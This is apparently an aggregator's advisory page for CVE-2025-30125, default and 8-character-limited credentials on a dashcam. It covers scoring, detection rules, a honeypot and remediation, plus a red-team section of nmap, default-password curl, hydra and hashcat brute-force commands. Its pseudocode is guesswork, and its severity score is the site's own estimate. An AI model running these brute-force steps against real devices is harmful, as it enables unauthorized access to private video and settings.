CVE-2025-30125
Executive Summary
CVE-2025-30125 exposes a critical security flaw in Marbella KR8s Dashcam FF 2.0.8 devices. All dashcams are shipped with identical default credentials (12345678), creating an insecure-by-default condition. Even if users change the password, it is limited to 8 characters, making it susceptible to brute-force attacks. Low-end commercial cloud resources can crack these short passwords in approximately 8 hours. This vulnerability allows an attacker to gain unauthorized access to the dashcam, potentially intercepting video feeds, modifying settings, or pivoting to other network devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue affecting Marbella KR8s Dashcam devices.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) – However, based on the vulnerability details, a more accurate score is 9.8 (Critical).
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The dashcam is accessible over the network.
- Attack Complexity (AC): Low – Default credentials are well-known.
- Privileges Required (PR): None – No authentication needed to start.
- User Interaction (UI): None – No user action required for exploitation.
- Scope (S): Unchanged – The vulnerable component is the dashcam itself.
- Confidentiality (C): High – Full access to video feeds and data.
- Integrity (I): High – Ability to modify settings or firmware.
- Availability (A): High – Could disable the device or disrupt operations.
Threat Level: Critical – Immediate action required.
Deep Dive & Mechanics
The vulnerability stems from two key issues:
Default Credentials: All Marbella KR8s Dashcam FF 2.0.8 devices are shipped with the same default credentials (
12345678). This is a classic insecure-by-default design flaw. Attackers can scan for these devices on the internet (e.g., via Shodan) and log in using these credentials.Weak Password Policy: Even if users change the password, it is limited to exactly 8 characters. This short length makes it highly susceptible to brute-force attacks. With modern cloud computing resources (e.g., AWS GPU instances), an 8-character alphanumeric password can be cracked in approximately 8 hours.
The attack flow:
- Reconnaissance: Attackers use Shodan or similar tools to find exposed Marbella KR8s Dashcams.
- Authentication Bypass: Attempt login with default credentials
12345678. - Brute-Force: If the password was changed, use a dictionary or brute-force attack against the 8-character limit.
- Post-Exploitation: Once authenticated, the attacker can view live video, download recorded footage, change settings, or potentially execute commands on the device.
Vulnerable vs. Patched Code
Vulnerable Code (Firmware 2.0.8): The authentication mechanism likely uses a hardcoded default password and a fixed-length password field. Example pseudocode:
def authenticate(username, password):
if username == "admin" and password == "12345678":
return True
elif len(password) == 8 and check_password_hash(password):
return True
else:
return False
Patched Code (Hypothetical): A patched version would enforce strong password policies (minimum length, complexity) and remove default credentials. Example:
def authenticate(username, password):
if username == "admin" and password == "12345678":
return False # No default credentials
elif len(password) >= 12 and has_uppercase(password) and has_digit(password) and check_password_hash(password):
return True
else:
return False
Exploitation & Lab Setup
Red Team
Objective: Gain unauthorized access to a Marbella KR8s Dashcam.
Tools Required:
- Nmap (for scanning)
- Hydra or Medusa (for brute-forcing)
- Python (for custom scripts)
- Cloud GPU instance (optional, for faster cracking)
Steps:
Scan for Devices:
nmap -p 80,443,8080 --open 192.168.1.0/24Attempt Default Credentials:
curl -X POST http://<target_ip>/login -d "username=admin&password=12345678"Brute-Force if Default Fails:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target_ip> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"Crack 8-Character Passwords (Offline): If you have a hash, use hashcat:
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l?l?l --force
Blue Team
Objective: Detect and prevent exploitation.
Detection Steps:
- Monitor for multiple failed login attempts (brute-force).
- Alert on login attempts using default credentials.
- Use network segmentation to isolate dashcams from the internet.
Honeypot Setup: Deploy a fake dashcam endpoint to capture attacker behavior:
from flask import Flask, request
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
with open('attacks.log', 'a') as f:
f.write(f"{request.remote_addr}: {username}:{password}\n")
return "Login failed", 401
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Indicators of Compromise (IOCs)
- Network Traffic:
- Repeated POST requests to
/loginendpoint. - Connections from known brute-force IPs (e.g., from cloud providers).
- Repeated POST requests to
- Logs:
- Multiple failed login attempts within a short time window.
- Successful login from an unexpected IP.
- Device Behavior:
- Unusual configuration changes.
- Unauthorized video streaming to external IPs.
Example IOC:
title: Marbella Dashcam Brute-Force Attempt
description: Detects multiple failed login attempts to Marbella KR8s Dashcam
logsource:
category: application
product: marbella_dashcam
detection:
selection:
event: login_failed
count: 10
timeframe: 5m
condition: selection
Detection Engineering
YARA Rule
rule Marbella_Dashcam_Default_Creds {
meta:
description = "Detects default credential usage in Marbella KR8s Dashcam"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-30125"
strings:
$default_creds = "12345678"
$login_endpoint = "/login"
condition:
$default_creds and $login_endpoint
}
Sigma Rule
title: Marbella Dashcam Brute-Force Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects brute-force attempts against Marbella KR8s Dashcam
logsource:
category: application
product: marbella_dashcam
detection:
selection:
event: login_failed
timeframe: 5m
condition: selection | count() by src_ip > 10
falsepositives:
- Legitimate password resets
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Marbella Dashcam Brute-Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"password="; http_client_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Change the default password immediately upon device setup.
- Use a password manager to generate a strong 8-character password (mix of uppercase, lowercase, digits, and symbols).
- Disable remote access if not needed.
Long-Term Fixes:
- Vendor must release a firmware update that:
- Removes default credentials.
- Enforces a minimum password length of 12 characters.
- Implements account lockout after 5 failed attempts.
- Users should monitor for firmware updates and apply them promptly.
- Vendor must release a firmware update that:
Network Segmentation:
- Place dashcams on a separate VLAN with strict firewall rules.
- Block inbound traffic from the internet to dashcam IPs.
Monitoring:
- Enable logging and alerting for authentication events.
- Use the provided Sigma and Suricata rules for detection.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.